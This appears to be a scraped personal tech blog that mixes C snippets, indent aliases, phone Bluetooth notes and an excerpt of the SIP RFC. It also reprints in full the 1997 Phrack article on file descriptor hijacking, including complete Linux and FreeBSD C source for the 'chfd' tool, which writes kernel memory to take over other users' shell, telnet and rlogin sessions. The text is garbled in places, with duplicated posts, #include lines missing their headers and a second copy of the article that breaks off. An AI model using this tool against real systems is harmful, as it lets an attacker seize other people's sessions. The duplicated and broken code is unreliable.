if (store != (unsigned char) value)
printf ("\n Big-endian platform Lsb....Msb \n");
else
printf ("\n Little-endian plat Msb....Lsb \n");
for (i = 0; i < read; i++)
{
value = 0;
value = *(addr);
printf (" Addr[%d] : %X 0x%08X \n", i, addr, value);
addr++;
}
printf ("\n");
if (atoi(argv[1]) != 1)
printf (" Munmap : %d\n", munmap (wd_addr, page_size));
return 0;
}
Function pointer in C
#include stdio.h
void func (int);
void one (int, float);
void two (int, float);
void three (int, float);
void four (int, float);
void five (int, float);
int main ()
{
char findex;
/* Function pointer Declaration */
void (*fp) (int); /* single argum,ent */
void (*fptr) (int, float); /* two argument */
/* Function array pointer Declaration */
void (*fparr[]) (int, float) =
{
one, two, three, four, five}; /* initializers */
printf (" Ordinary function calling five(1,3.4)\n");
five (1, 3.4);
printf (" Calling by function pointer fptr(1,3.4); \n");
fptr = five;
fptr (1, 3.4);
printf (" Calling by fun. array ptr (*fparr[findex]) (1, 3.4) \n");
findex = 4; /* To call five(arg1,arg2) fun. index is 4 */
(*fparr[findex]) (1, 3.4); /* passing argument 1, 3.4 */
printf (" Calling func by single argument function pointer \n");
fp = func;
(*fp) (2); /* Mtd 1 */
fp (2); /* Mtd 2 */
exit (EXIT_SUCCESS);
}
void func (int arg)
{
printf ("func arg: %d\n", arg);
}
void one (int arg, float arg2)
{
printf ("Four %f\n", arg2);
printf (" %d\n", arg);
}
/* Similerly define of thwo three...four*/
void five (int arg, float arg2)
{
printf ("Five %f\n", arg2);
printf (" %d\n", arg);
}
void func (int);
void one (int, float);
void two (int, float);
void three (int, float);
void four (int, float);
void five (int, float);
int main ()
{
char findex;
/* Function pointer Declaration */
void (*fp) (int); /* single argum,ent */
void (*fptr) (int, float); /* two argument */
/* Function array pointer Declaration */
void (*fparr[]) (int, float) =
{
one, two, three, four, five}; /* initializers */
printf (" Ordinary function calling five(1,3.4)\n");
five (1, 3.4);
printf (" Calling by function pointer fptr(1,3.4); \n");
fptr = five;
fptr (1, 3.4);
printf (" Calling by fun. array ptr (*fparr[findex]) (1, 3.4) \n");
findex = 4; /* To call five(arg1,arg2) fun. index is 4 */
(*fparr[findex]) (1, 3.4); /* passing argument 1, 3.4 */
printf (" Calling func by single argument function pointer \n");
fp = func;
(*fp) (2); /* Mtd 1 */
fp (2); /* Mtd 2 */
exit (EXIT_SUCCESS);
}
void func (int arg)
{
printf ("func arg: %d\n", arg);
}
void one (int arg, float arg2)
{
printf ("Four %f\n", arg2);
printf (" %d\n", arg);
}
/* Similerly define of thwo three...four*/
void five (int arg, float arg2)
{
printf ("Five %f\n", arg2);
printf (" %d\n", arg);
}
Indent for C Program in linux
/*indent with 3 space */
alias in3='indent -bls -bli0 -cli3 -cbi3 -i3 -di5 -bad -nut -l120 -npsl -sob -sai -saf '
/*Indent With 4 space */
alias in4='indent -bls -bli0 -cli4 -cbi4 -i4 -di5 -bad -nut -l120 -npsl -sob -sai -saf '
see man indent above
alias in3='indent -bls -bli0 -cli3 -cbi3 -i3 -di5 -bad -nut -l120 -npsl -sob -sai -saf '
/*Indent With 4 space */
alias in4='indent -bls -bli0 -cli4 -cbi4 -i4 -di5 -bad -nut -l120 -npsl -sob -sai -saf '
see man indent above
Friday, November 23, 2007
Moto Rokr E6 Blue tooth features
I can only answer how to use the phone with Linux.
For USB Mass storage, you just plug the phone to PC and the phone will be recognized as /dev/sdb1 (in Ubuntu) and you can mount it. Of course don't forget to set it as Mass storage in the setup.
For synchronising see this link:
http://www.motorolafans.com/forums/v...ic.php?t=12152
For send a file to phone with bluetooth, use ussp-push:
ussp-push@3
Local and remote file name can be different. "3" is channel for Object Push.
Here is the list of bluetooth channel for E6:
1: Headset Voice Gateway
2: Hands-Free Voice Gateway
3: Object Push
4: Basic Printing
5: Bluetooth Serial Port
6: Dial-Up Networking
Hope it helps.
http://www.motorolafans.com/forums/showthread.php?t=11830
For USB Mass storage, you just plug the phone to PC and the phone will be recognized as /dev/sdb1 (in Ubuntu) and you can mount it. Of course don't forget to set it as Mass storage in the setup.
For synchronising see this link:
http://www.motorolafans.com/forums/v...ic.php?t=12152
For send a file to phone with bluetooth, use ussp-push:
ussp-push
Local and remote file name can be different. "3" is channel for Object Push.
Here is the list of bluetooth channel for E6:
1: Headset Voice Gateway
2: Hands-Free Voice Gateway
3: Object Push
4: Basic Printing
5: Bluetooth Serial Port
6: Dial-Up Networking
Hope it helps.
http://www.motorolafans.com/forums/showthread.php?t=11830
Monday, May 14, 2007
SIP: Session Initiation Protocol
http://en.wikipedia.org/wiki/SIP_Requests
http://tools.ietf.org/html/rfc3261
Simple Example:
atlanta.com . . . biloxi.com
. proxy proxy .
. .
Alice's . . . . . . . . . . . . . . . . . . . . Bob's
softphone SIP Phone
| | | |
| INVITE F1 | | |
|--------------->| INVITE F2 | |
| 100 Trying F3 |--------------->| INVITE F4 |
|<---------------| 100 Trying F5 |--------------->|
| |<-------------- | 180 Ringing F6 |
| | 180 Ringing F7 |<---------------|
| 180 Ringing F8 |<---------------| 200 OK F9 |
|<---------------| 200 OK F10 |<---------------|
| 200 OK F11 |<---------------| |
|<---------------| | |
| ACK F12 |
|------------------------------------------------->|
| Media Session |
|<================================================>|
| BYE F13 |
|<-------------------------------------------------|
| 200 OK F14 |
|------------------------------------------------->|
| |
Figure 1: SIP session setup example with SIP trapezoid
INVITE sip:bob@biloxi.com SIP/2.0
Via: SIP/2.0/UDP pc33.atlanta.com;branch=z9hG4bK776asdhds
Max-Forwards: 70
To: Bob <sip:bob@biloxi.com>
From: Alice <sip:alice@atlanta.com>;tag=1928301774
Call-ID: a84b4c76e66710@pc33.atlanta.com
CSeq: 314159 INVITE
Contact: <sip:alice@pc33.atlanta.com>
Content-Type: application/sdp
Content-Length: 142
(Alice's SDP not shown)
7 SIP Messages
SIP is a text-based protocol and uses the UTF-8 charset (RFC 2279
[7]).
A SIP message is either a request from a client to a server, or a
response from a server to a client.
Both Request (section 7.1) and Response (section 7.2) messages use
the basic format of RFC 2822 [3], even though the syntax differs in
character set and syntax specifics. (SIP allows header fields that
would not be valid RFC 2822 header fields, for example.) Both types
of messages consist of a start-line, one or more header fields, an
empty line indicating the end of the header fields, and an optional
message-body.
generic-message = start-line
*message-header
CRLF
[ message-body ]
start-line = Request-Line / Status-Line
The start-line, each message-header line, and the empty line MUST be
terminated by a carriage-return line-feed sequence (CRLF). Note that
the empty line MUST be present even if the message-body is not.
Except for the above difference in character sets, much of SIP's
message and header field syntax is identical to HTTP/1.1. Rather
than repeating the syntax and semantics here, we use [HX.Y] to refer
to Section X.Y of the current HTTP/1.1 specification (RFC 2616 [8]).
However, SIP is not an extension of HTTP.7.1 Requests
SIP requests are distinguished by having a Request-Line for a start-
line. A Request-Line contains a method name, a Request-URI, and the
protocol version separated by a single space (SP) character.
The Request-Line ends with CRLF. No CR or LF are allowed except in
the end-of-line CRLF sequence. No linear whitespace (LWS) is allowed
in any of the elements.
Request-Line = Method SP Request-URI SP SIP-Version CRLF
Method: This specification defines six methods: REGISTER for
registering contact information, INVITE, ACK, and CANCEL for
setting up sessions, BYE for terminating sessions, and
OPTIONS for querying servers about their capabilities. SIP
extensions, documented in standards track RFCs, may define
additional methods.
Request-URI: The Request-URI is a SIP or SIPS URI as described in
Section 19.1 or a general URI (RFC 2396 [5]). It indicates
the user or service to which this request is being addressed.
The Request-URI MUST NOT contain unescaped spaces or control
characters and MUST NOT be enclosed in "<>".
SIP elements MAY support Request-URIs with schemes other than
"sip" and "sips", for example the "tel" URI scheme of RFC
2806 [9]. SIP elements MAY translate non-SIP URIs using any
mechanism at their disposal, resulting in SIP URI, SIPS URI,
or some other scheme.
SIP-Version: Both request and response messages include the
version of SIP in use, and follow [H3.1] (with HTTP replaced
by SIP, and HTTP/1.1 replaced by SIP/2.0) regarding version
ordering, compliance requirements, and upgrading of version
numbers. To be compliant with this specification,
applications sending SIP messages MUST include a SIP-Version
of "SIP/2.0". The SIP-Version string is case-insensitive,
but implementations MUST send upper-case.
Unlike HTTP/1.1, SIP treats the version number as a literal
string. In practice, this should make no difference.7.2 Responses
SIP responses are distinguished from requests by having a Status-Line
as their start-line. A Status-Line consists of the protocol version
followed by a numeric Status-Code and its associated textual phrase,
with each element separated by a single SP character.
No CR or LF is allowed except in the final CRLF sequence.
Status-Line = SIP-Version SP Status-Code SP Reason-Phrase CRLF
The Status-Code is a 3-digit integer result code that indicates the
outcome of an attempt to understand and satisfy a request. The
Reason-Phrase is intended to give a short textual description of the
Status-Code. The Status-Code is intended for use by automata,
whereas the Reason-Phrase is intended for the human user. A client
is not required to examine or display the Reason-Phrase.
While this specification suggests specific wording for the reason
phrase, implementations MAY choose other text, for example, in the
language indicated in the Accept-Language header field of the
request.
The first digit of the Status-Code defines the class of response.
The last two digits do not have any categorization role. For this
reason, any response with a status code between 100 and 199 is
referred to as a "1xx response", any response with a status code
between 200 and 299 as a "2xx response", and so on. SIP/2.0 allows
six values for the first digit:
1xx: Provisional -- request received, continuing to process the
request;
2xx: Success -- the action was successfully received, understood,
and accepted;
3xx: Redirection -- further action needs to be taken in order to
complete the request;
4xx: Client Error -- the request contains bad syntax or cannot be
fulfilled at this server;
5xx: Server Error -- the server failed to fulfill an apparently
valid request;
6xx: Global Failure -- the request cannot be fulfilled at any
server.
21 Response Codes ...................................... 182
21.1 Provisional 1xx ..................................... 182
21.1.1 100 Trying .......................................... 183
21.1.2 180 Ringing ......................................... 183
21.1.3 181 Call Is Being Forwarded ......................... 183
21.1.4 182 Queued .......................................... 183
21.1.5 183 Session Progress ................................ 183
21.2 Successful 2xx ...................................... 183
21.2.1 200 OK .............................................. 183
21.3 Redirection 3xx ..................................... 184
21.3.1 300 Multiple Choices ................................ 184
21.3.2 301 Moved Permanently ............................... 184
21.3.3 302 Moved Temporarily ............................... 184
21.3.4 305 Use Proxy ....................................... 185
21.3.5 380 Alternative Service ............................. 185
21.4 Request Failure 4xx ................................. 185
21.4.1 400 Bad Request ..................................... 185
21.4.2 401 Unauthorized .................................... 185
21.4.3 402 Payment Required ................................ 186
21.4.4 403 Forbidden ....................................... 186
21.4.5 404 Not Found ....................................... 186
21.4.6 405 Method Not Allowed .............................. 186
21.4.7 406 Not Acceptable .................................. 186
21.4.8 407 Proxy Authentication Required ................... 186
21.4.9 408 Request Timeout ................................. 186
21.4.10 410 Gone ............................................ 187
21.4.11 413 Request Entity Too Large ........................ 187
21.4.12 414 Request-URI Too Long ............................ 187
21.4.13 415 Unsupported Media Type .......................... 187
21.4.14 416 Unsupported URI Scheme .......................... 187
21.4.15 420 Bad Extension ................................... 187
21.4.16 421 Extension Required .............................. 188
21.4.17 423 Interval Too Brief .............................. 188
21.4.18 480 Temporarily Unavailable ......................... 188
21.4.19 481 Call/Transaction Does Not Exist ................. 188
21.4.20 482 Loop Detected ................................... 188
21.4.21 483 Too Many Hops ................................... 189
21.4.22 484 Address Incomplete .............................. 189
21.4.23 485 Ambiguous ....................................... 189
21.4.24 486 Busy Here ....................................... 189
21.4.25 487 Request Terminated .............................. 190
21.4.26 488 Not Acceptable Here ............................. 190
21.4.27 491 Request Pending ................................. 190
21.4.28 493 Undecipherable .................................. 190
21.5 Server Failure 5xx .................................. 190
21.5.1 500 Server Internal Error ........................... 190
21.5.2 501 Not Implemented ................................. 191
21.5.3 502 Bad Gateway ..................................... 191
21.5.4 503 Service Unavailable ............................. 191
21.5.5 504 Server Time-out ................................. 191
21.5.6 505 Version Not Supported ........................... 192
21.5.7 513 Message Too Large ............................... 192
21.6 Global Failures 6xx ................................. 192
21.6.1 600 Busy Everywhere ................................. 192
21.6.2 603 Decline ......................................... 192
21.6.3 604 Does Not Exist Anywhere ......................... 192
21.6.4 606 Not Acceptable .................................. 192
Wednesday, May 2, 2007
Electronic tutorial and Embedded
http://www.cecs.csulb.edu/~brewer/
Keil related:
--------------
http://www.cecs.csulb.edu/~brewer/347/lpc-ARM-book_srn.pdf
Orcad Student version....
and so...on...
Keil related:
--------------
http://www.cecs.csulb.edu/~brewer/347/lpc-ARM-book_srn.pdf
Orcad Student version....
and so...on...
Wednesday, April 18, 2007
File Descriptor Hijacking in Lilnux
Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 05 of 17
File Descriptor Hijacking
orabidoo
Introduction
------------
We often hear of tty hijacking as a way for root to take over a user's
session. The traditional tools for this use STREAMS on SysV machines,
and one article in Phrack 50 presented a way to do it in Linux, using
loadable modules.
I'll describe here a simple technique that lets root take over a local
or remote session. I've implemented it for Linux and FreeBSD; it should
be easy to port it to just about any Un*x-like system where root can
write to kernel memory.
The idea is simple: by tweaking the kernel's file descriptor tables, one
can forcefully move file descriptors from one process to another.
This method allows you to do almost anything you want: redirect the
output of a running command to a file, or even take over your neighbor's
telnet connection.
How the kernel keeps track of open file descriptors
---------------------------------------------------
In Un*x, processes access resources by means of file descriptors, which
are obtained via system calls such as open(), socket() and pipe(). From
the process's point of view, the file descriptor is an opaque handle to
the resource. File descriptors 0, 1 and 2 represent standard input,
output and error, respectively. New descriptors are always allocated in
sequence.
On the other side of the fence, the kernel keeps, for each process, a
table of file descriptors (fds), with a pointer to a structure for each
fd. The pointer is NULL if the fd isn't open. Otherwise, the structure
holds information about what kind of fd it is (a file, a socket, a
pipe, etc), together with pointers to data about the resource that the fd
accesses (the file's inode, the socket's address and state information,
and so on).
The process table is usually an array or a linked list of structures.
From the structure for a given process, you can easily find a pointer to
the internal fd table for that process.
In Linux, the process table is an array (called "task") of struct
task_struct's, and includes a pointer to a struct files_struct, which
has the fd array (look at /usr/include/linux/sched.h for details). In
SunOS 4, the process table is a linked list of struct proc's, which
include a pointer to the u_area, which has info about the fds (look at
/usr/include/sys/proc.h). In FreeBSD, it's also a linked list (called
"allproc") of struct proc's, which include a pointer to a struct
filedesc with the fd table (also according to /usr/include/sys/proc.h).
If you have read and write access to the kernel's memory (which, in most
cases, is the same as having read/write access to /dev/kmem), there's
nothing to prevent you from messing with these fd tables, stealing open
fd's from a process and reusing them in another one.
The only major case where this won't work are systems based on BSD4.4
(such as {Free, Net, Open}BSD) running at a securelevel higher than 0.
In that mode, write access to /dev/mem and /dev/kmem is disabled, among
other things. However, many BSD systems run at securelevel -1, which leaves
them vulnerable, and in many others it may be possible to get the securelevel
to be -1 at the next boot by tweaking the startup scripts. On FreeBSD, you
can check the securelevel with the command "sysctl kern.securelevel". Linux
also has securelevels, but they don't prevent you from accessing /dev/kmem.
File descriptor hijacking
-------------------------
The kernel's internal variables are really not made to be modified like
this by user programs, and it shows.
First of all, on a multitasking system, you have no guarantee that the
kernel's state won't have changed between the time you find out a
variable's address and the time you write to it (no atomicity). This is
why these techniques shouldn't be used in any program that aims for
reliability. That being said, in practice, I haven't seen it fail, because
the kernel doesn't move this kind of data around once it has allocated it
(at least for the first 20 or 32 or 64 or so fds per process), and because
it's quite unlikely that you'll do this just when the process is closing or
opening a new fd.
You still want to try it?
For simplicity's sake, we won't try to do things like duplicating an fd
between two processes, or passing an fd from one process to another
without passing another one in return. Instead, we'll just exchange an
fd in one process with another fd in another process. This way we only
have to deal with open files, and don't mess with things like reference
counts. This is as simple as finding two pointers in the kernel and
switching them around. A slightly more complicated version of this
involves 3 processes, and a circular permutation of the fds.
Of course, you have to guess which fd corresponds to the resource you
want to pass. To take complete control of a running shell, you'll want
its standard input, output and error, so you'll need to take the 3 fds
0, 1 and 2. To take control of a telnet session, you'll want the fd of
the inet socket that telnet is using to talk to the other side, which is
usually 3, and exchange it with another running telnet (so it knows what
to do with it). Under Linux, a quick look at /proc/[pid]/fd will tell
you which fds the process is using.
Using chfd
----------
I've implemented this for Linux and FreeBSD; it would be fairly easy to
port to other systems (as long as they let you write to /dev/mem or
/dev/kmem, and have the equivalent of a /usr/include/sys/proc.h to
figure out how it works).
To compile chfd for Linux, you need to figure out a couple things about
the running kernel. If it's a 1.2.13 or similar, you'll need to
uncomment the line /* #define OLDLINUX */, because the kernel's
structures have changed since then. If it's 2.0.0 or newer, it should
work out of the box, although it could change again...
Then you need to find the symbol table for the kernel, which is usually
in /boot/System.map or similar. Make sure this corresponds to the
kernel that is actually running, and look up the address for the "task"
symbol. You need to put this value in chfd, instead of "00192d28".
Then compile with "gcc chfd.c -o chfd".
To compile chfd for FreeBSD, just get the FreeBSD code and compile it
with "gcc chfd.c -o chfd -lkvm". This code was written for FreeBSD
2.2.1, and might need tweaking for other versions.
Once it's compiled, you invoke chfd with
chfd pid1 fd1 pid2 fd2
or
chfd pid1 fd1 pid2 fd2 pid3 fd3
In the first case, the fds are just swapped. In the second case, the
second process gets the first's fd, the third gets the second's fd, and
the first gets the third's fd.
As a special case, if one of the pids is zero, the corresponding fd is
discarded, and a fd on /dev/null is passed instead.
Example 1
---------
. a long calculation is running with pid 207, and with output to the tty
. you type "cat > somefile", and look up cat's pid (say 1746)
Then doing
chfd 207 1 1746 1
will redirect the calculation on the fly to the file "somefile", and the
cat to the calculation's tty. Then you can ^C the cat, and leave the
calculation running without fear of important results scrolling by.
Example 2
---------
. someone is running a copy of bash on a tty, with pid 4022
. you are running another copy of bash on a tty, with pid 4121
Then you do
sleep 10000
# on your own bash, so it won't read its tty for a while,
# otherwise your shell gets an EOF from /dev/null and leaves
# the session immediately
chfd 4022 0 0 0 4121 0
chfd 4022 1 0 0 4121 1
chfd 4022 2 0 0 4121 2
and you find yourself controlling the other guy's bash, and getting the
output too, while the guy's keystrokes go to /dev/null. When you exit
the shell, he gets his session disconnected, and you're back in your
sleep 10000 which you can safely ^C now.
Different shells might use different file descriptors; zsh seems to use
fd 10 to read from the tty, so you'll need to exchange that too.
Example 3
---------
. someone is running a telnet on a tty, with pid 6309
. you start a telnet to some worthless port that won't drop the
connection too quickly (telnet localhost 7, telnet www.yourdomain 80,
whatever), with pid 7081
. under Linux, a quick look at /proc/6309/fd and /proc/7081/fd tells you
telnet is using fds 0, 1, 2 and 3, so 3 must be the connection.
Then doing
chfd 6309 3 7081 3 0 0
will replace the network connection with a /dev/null on the guy's telnet
(which reads an EOF, so he'll get a "Connection closed by foreign
host."), and your telnet finds itself connected to the guy's remote
host. At this point you'll probably need to press ^] and type "mode
character" to tell your telnet to stop echoing your lines locally.
Example 4
---------
. someone is running an rlogin on a tty; each rlogin uses two processes,
with pids 4547 and 4548
. you start an rlogin localhost on another tty, with pids 4852 and 4855
. a quick look at the relevant /proc/../fds tells you that each of the
rlogin processes is using fd 3 for the connection.
Then doing
chfd 4547 3 4552 3
chfd 4548 3 4555 3
does just what you expect. Except that your rlogin may still be blocked
by the kernel because it's waiting on an event that won't happen (having
data to read from localhost); in that case you wake it up with a kill
-STOP followed by 'fg'.
You get the idea. When a program gets another one's fd, it's important
that it knows what to do with it; in most cases you achieve this by
running a copy of the same program you want to take over, unless you're
passing a fd on /dev/null (which gives an EOF) or just passing
stdin/stdout/stderr.
Conclusion
----------
As you can see, you can do quite powerful things with this. And there
isn't really much you can do to protect yourself from some root doing
this, either.
It could be argued that it's not even a security hole; root is
*supposed* to be able to do these things. Otherwise there wouldn't be
explicit code in the drivers for /dev/kmem to let you write there, would
there?
The Linux code
--------------
<++> fd_hijack/chfd-linux.c
/* chfd - exchange fd's between 2 or 3 running processes.
*
* This was written for Linux/intel and is *very* system-specific.
* Needs read/write access to /dev/kmem; setgid kmem is usually enough.
*
* Use: chfd pid1 fd1 pid2 fd2 [pid3 fd3]
*
* With two sets of arguments, exchanges a couple of fd between the
* two processes.
* With three sets, the second process gets the first's fd, the third gets
* the second's fd, and the first gets the third's fd.
*
* Note that this is inherently unsafe, since we're messing with kernel
* variables while the kernel itself might be changing them. It works
* in practice, but no self-respecting program would want to do this.
*
* Written by: orabidoo
* First version: 14 Feb 96
* This version: 2 May 97
*/
#include
#include
#include
#define __KERNEL__ /* needed to access kernel-only definitions */
#include
/* #define OLDLINUX */ /* uncomment this if you're using Linux 1.x;
tested only on 1.2.13 */
#define TASK 0x00192d28 /* change this! look at the system map,
usually /boot/System.map, for the address
of the "task" symbol */
#ifdef OLDLINUX
# define FD0 ((char *)&ts.files->fd[0] - (char *)&ts)
# define AD(fd) (taskp + FD0 + 4*(fd))
#else
# define FILES ((char *)&ts.files - (char *)&ts)
# define FD0 ((char *)&fs.fd[0] - (char *)&fs)
# define AD(fd) (readvalz(taskp + FILES) + FD0 + 4*(fd))
#endif
int kfd;
struct task_struct ts;
struct files_struct fs;
int taskp;
int readval(int ad) {
int val, r;
if (lseek(kfd, ad, SEEK_SET) < 0)
perror("lseek"), exit(1);
if ((r = read(kfd, &val, 4)) != 4) {
if (r < 0)
perror("read");
else fprintf(stderr, "Error reading...\n");
exit(1);
}
return val;
}
int readvalz(int ad) {
int r = readval(ad);
if (r == 0)
fprintf(stderr, "NULL pointer found (fd not open?)\n"), exit(1);
return r;
}
void writeval(int ad, int val) {
int w;
if (lseek(kfd, ad, SEEK_SET) < 0)
perror("lseek"), exit(1);
if ((w = write(kfd, &val, 4)) != 4) {
if (w < 0)
perror("write");
else fprintf(stderr, "Error writing...\n");
exit(1);
}
}
void readtask(int ad) {
int r;
if (lseek(kfd, ad, SEEK_SET)<0)
perror("lseek"), exit(1);
if ((r = read(kfd, &ts, sizeof(struct task_struct))) !=
sizeof(struct task_struct)) {
if (r < 0)
perror("read");
else fprintf(stderr, "Error reading...\n");
exit(1);
}
}
void findtask(int pid) {
int adr;
for (adr=TASK; ; adr+=4) {
if (adr >= TASK + 4*NR_TASKS)
fprintf(stderr, "Process not found\n"), exit(1);
taskp = readval(adr);
if (!taskp) continue;
readtask(taskp);
if (ts.pid == pid) break;
}
}
int main(int argc, char **argv) {
int pid1, fd1, pid2, fd2, ad1, val1, ad2, val2, pid3, fd3, ad3, val3;
int three=0;
if (argc != 5 && argc != 7)
fprintf(stderr, "Use: %s pid1 fd1 pid2 fd2 [pid3 fd3]\n", argv[0]),
exit(1);
pid1 = atoi(argv[1]), fd1 = atoi(argv[2]);
pid2 = atoi(argv[3]), fd2 = atoi(argv[4]);
if (argc == 7)
pid3 = atoi(argv[5]), fd3 = atoi(argv[6]), three=1;
if (pid1 == 0)
pid1 = getpid(), fd1 = open("/dev/null", O_RDWR);
if (pid2 == 0)
pid2 = getpid(), fd2 = open("/dev/null", O_RDWR);
if (three && pid3 == 0)
pid3 = getpid(), fd3 = open("/dev/null", O_RDWR);
kfd = open("/dev/kmem", O_RDWR);
if (kfd < 0)
perror("open"), exit(1);
findtask(pid1);
ad1 = AD(fd1);
val1 = readvalz(ad1);
printf("Found fd pointer 1, value %.8x, stored at %.8x\n", val1, ad1);
findtask(pid2);
ad2 = AD(fd2);
val2 = readvalz(ad2);
printf("Found fd pointer 2, value %.8x, stored at %.8x\n", val2, ad2);
if (three) {
findtask(pid3);
ad3 = AD(fd3);
val3 = readvalz(ad3);
printf("Found fd pointer 3, value %.8x, stored at %.8x\n", val3, ad3);
}
if (three) {
if (readval(ad1)!=val1 || readval(ad2)!=val2 || readval(ad3)!=val3) {
fprintf(stderr, "fds changed in memory while using them - try again\n");
exit(1);
}
writeval(ad2, val1);
writeval(ad3, val2);
writeval(ad1, val3);
} else {
if (readval(ad1)!=val1 || readval(ad2)!=val2) {
fprintf(stderr, "fds changed in memory while using them - try again\n");
exit(1);
}
writeval(ad1, val2);
writeval(ad2, val1);
}
printf("Done!\n");
}
<-->
The FreeBSD code
----------------
<++> fd_hijack/chfd-freebsd.c
/* chfd - exchange fd's between 2 or 3 running processes.
*
* This was written for FreeBSD and is *very* system-specific. Needs
* read/write access to /dev/mem and /dev/kmem; only root can usually
* do that, and only if the system is running at securelevel -1.
*
* Use: chfd pid1 fd1 pid2 fd2 [pid3 fd3]
* Compile with: gcc chfd.c -o chfd -lkvm
*
* With two sets of arguments, exchanges a couple of fd between the
* two processes.
* With three sets, the second process gets the first's fd, the third
* gets the second's fd, and the first gets the third's fd.
*
* Note that this is inherently unsafe, since we're messing with kernel
* variables while the kernel itself might be changing them. It works
* in practice, but no self-respecting program would want to do this.
*
* Written by: orabidoo
* FreeBSD version: 4 May 97
*/
#include
#include
#include
#include
#define NEXTP ((char *)&p.p_list.le_next - (char *)&p)
#define FILES ((char *)&p.p_fd - (char *)&p)
#define AD(fd) (readvalz(readvalz(procp + FILES)) + 4*(fd))
kvm_t *kfd;
struct proc p;
u_long procp, allproc;
struct nlist nm[2];
u_long readval(u_long ad) {
u_long val;
if (kvm_read(kfd, ad, &val, 4) != 4)
fprintf(stderr, "error reading...\n"), exit(1);
return val;
}
u_long readvalz(u_long ad) {
u_long r = readval(ad);
if (r == 0)
fprintf(stderr, "NULL pointer found (fd not open?)\n"), exit(1);
return r;
}
void writeval(u_long ad, u_long val) {
if (kvm_write(kfd, ad, &val, 4) != 4)
fprintf(stderr, "error writing...\n"), exit(1);
}
void readproc(u_long ad) {
if (kvm_read(kfd, ad, &p, sizeof(struct proc)) != sizeof(struct proc))
fprintf(stderr, "error reading a struct proc...\n"), exit(1);
}
void findproc(int pid) {
u_long adr;
for (adr = readval(allproc); adr; adr = readval(adr + NEXTP)) {
procp = adr;
readproc(procp);
if (p.p_pid == pid) return;
}
fprintf(stderr, "Process not found\n");
exit(1);
}
int main(int argc, char **argv) {
int pid1, fd1, pid2, fd2, pid3, fd3;
u_long ad1, val1, ad2, val2, ad3, val3;
int three=0;
if (argc != 5 && argc != 7)
fprintf(stderr, "Use: %s pid1 fd1 pid2 fd2 [pid3 fd3]\n", argv[0]),
exit(1);
pid1 = atoi(argv[1]), fd1 = atoi(argv[2]);
pid2 = atoi(argv[3]), fd2 = atoi(argv[4]);
if (argc == 7)
pid3 = atoi(argv[5]), fd3 = atoi(argv[6]), three=1;
if (pid1 == 0)
pid1 = getpid(), fd1 = open("/dev/null", O_RDWR);
if (pid2 == 0)
pid2 = getpid(), fd2 = open("/dev/null", O_RDWR);
if (three && pid3 == 0)
pid3 = getpid(), fd3 = open("/dev/null", O_RDWR);
kfd = kvm_open(NULL, NULL, NULL, O_RDWR, "chfd");
if (kfd == NULL) exit(1);
bzero(nm, 2*sizeof(struct nlist));
nm[0].n_name = "_allproc";
nm[1].n_name = NULL;
if (kvm_nlist(kfd, nm) != 0)
fprintf(stderr, "Can't read kernel name list\n"), exit(1);
allproc = nm[0].n_value;
findproc(pid1);
ad1 = AD(fd1);
val1 = readvalz(ad1);
printf("Found fd pointer 1, value %.8x, stored at %.8x\n", val1, ad1);
findproc(pid2);
ad2 = AD(fd2);
val2 = readvalz(ad2);
printf("Found fd pointer 2, value %.8x, stored at %.8x\n", val2, ad2);
if (three) {
findproc(pid3);
ad3 = AD(fd3);
val3 = readvalz(ad3);
printf("Found fd pointer 3, value %.8x, stored at %.8x\n", val3, ad3);
}
if (three) {
if (readval(ad1)!=val1 || readval(ad2)!=val2 || readval(ad3)!=val3) {
fprintf(stderr, "fds changed in memory while using them - try again\n");
exit(1);
}
writeval(ad2, val1);
writeval(ad3, val2);
writeval(ad1, val3);
} else {
if (readval(ad1)!=val1 || readval(ad2)!=val2) {
fprintf(stderr, "fds changed in memory while using them - try again\n");
exit(1);
}
writeval(ad1, val2);
writeval(ad2, val1);
}
printf("Done!\n");
}
<-->
----[ EOF
http://www.phrack.org/archives/51/P51-05
File Descriptor Hijacking
orabidoo
Introduction
------------
We often hear of tty hijacking as a way for root to take over a user's
session. The traditional tools for this use STREAMS on SysV machines,
and one article in Phrack 50 presented a way to do it in Linux, using
loadable modules.
I'll describe here a simple technique that lets root take over a local
or remote session. I've implemented it for Linux and FreeBSD; it should
be easy to port it to just about any Un*x-like system where root can
write to kernel memory.
The idea is simple: by tweaking the kernel's file descriptor tables, one
can forcefully move file descriptors from one process to another.
This method allows you to do almost anything you want: redirect the
output of a running command to a file, or even take over your neighbor's
telnet connection.
How the kernel keeps track of open file descriptors
---------------------------------------------------
In Un*x, processes access resources by means of file descriptors, which
are obtained via system calls such as open(), socket() and pipe(). From
the process's point of view, the file descriptor is an opaque handle to
the resource. File descriptors 0, 1 and 2 represent standard input,
output and error, respectively. New descriptors are always allocated in
sequence.
On the other side of the fence, the kernel keeps, for each process, a
table of file descriptors (fds), with a pointer to a structure for each
fd. The pointer is NULL if the fd isn't open. Otherwise, the structure
holds information about what kind of fd it is (a file, a socket, a
pipe, etc), together with pointers to data about the resource that the fd
accesses (the file's inode, the socket's address and state information,
and so on).
The process table is usually an array or a linked list of structures.
From the structure for a given process, you can easily find a pointer to
the internal fd table for that process.
In Linux, the process table is an array (called "task") of struct
task_struct's, and includes a pointer to a struct files_struct, which
has the fd array (look at /usr/include/linux/sched.h for details). In
SunOS 4, the process table is a linked list of struct proc's, which
include a pointer to the u_area, which has info about the fds (look at
/usr/include/sys/proc.h). In FreeBSD, it's also a linked list (called
"allproc") of struct proc's, which include a pointer to a struct
filedesc with the fd table (also according to /usr/include/sys/proc.h).
If you have read and write access to the kernel's memory (which, in most
cases, is the same as having read/write access to /dev/kmem), there's
nothing to prevent you from messing with these fd tables, stealing open
fd's from a process and reusing them in another one.
The only major case where this won't work are systems based on BSD4.4
(such as {Free, Net, Open}BSD) running at a securelevel higher than 0.
In that mode, write access to /dev/mem and /dev/kmem is disabled, among
other things. However, many BSD systems run at securelevel -1, which leaves
them vulnerable, and in many others it may be possible to get the securelevel
to be -1 at the next boot by tweaking the startup scripts. On FreeBSD, you
can check the securelevel with the command "sysctl kern.securelevel". Linux
also has securelevels, but they don't prevent you from accessing /dev/kmem.
File descriptor hijacking
-------------------------
The kernel's internal variables are really not made to be modified like
this by user programs, and it shows.
First of all, on a multitasking system, you have no guarantee that the
kernel's state won't have changed between the time you find out a
variable's address and the time you write to it (no atomicity). This is
why these techniques shouldn't be used in any program that aims for
reliability. That being said, in practice, I haven't seen it fail, because
the kernel doesn't move this kind of data around once it has allocated it
